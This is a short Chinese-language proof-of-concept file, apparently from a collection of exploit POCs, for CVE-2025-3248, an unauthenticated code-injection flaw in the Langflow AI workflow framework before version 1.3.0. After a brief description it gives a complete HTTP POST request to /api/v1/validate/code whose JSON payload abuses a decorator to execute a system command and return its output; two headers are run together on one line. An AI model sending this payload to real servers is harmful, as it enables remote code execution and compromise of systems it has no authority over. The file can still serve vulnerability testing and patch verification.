POC/wpoc/Langflow框架/Langflow框架远程命令执行漏洞(CVE-2025-3248).md

15 lines
1.1 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Langflow框架远程命令执行漏洞(CVE-2025-3248)
# 漏洞简介
Langflow是Langflow开源的一个用于构建多代理和 RAG 应用程序的可视化框架。是一个面向开发者的低代码工具专注于多智能体人工智能、提示工程和检索增强生成RAG应用的开发。它能够帮助开发者轻松构建强大的AI智能体和工作流通过可视化方式搭建AI应用通过拖放操作创建复杂的AI工作流从而降低开发门槛减少编写样板代码的工作量使开发者能够更多地专注于创新。Langflow 1.3.0之前版本存在安全漏洞,该漏洞源于/api/v1/validate/code端点存在代码注入漏洞可能导致远程未经验证的攻击者执行任意代码。
# poc
```javascript
POST /api/v1/validate/code HTTP/1.1
Host: 127.0.0.1
Content-Type: application/jsonContent-Length: 125
{"code": "@exec('raise Exception(__import__(\"subprocess\").check_output([\"id\"]))')\ndef foo():\n  pass"}
```
![image](https://github.com/user-attachments/assets/fb2904cd-a254-4211-9e91-114310540f09)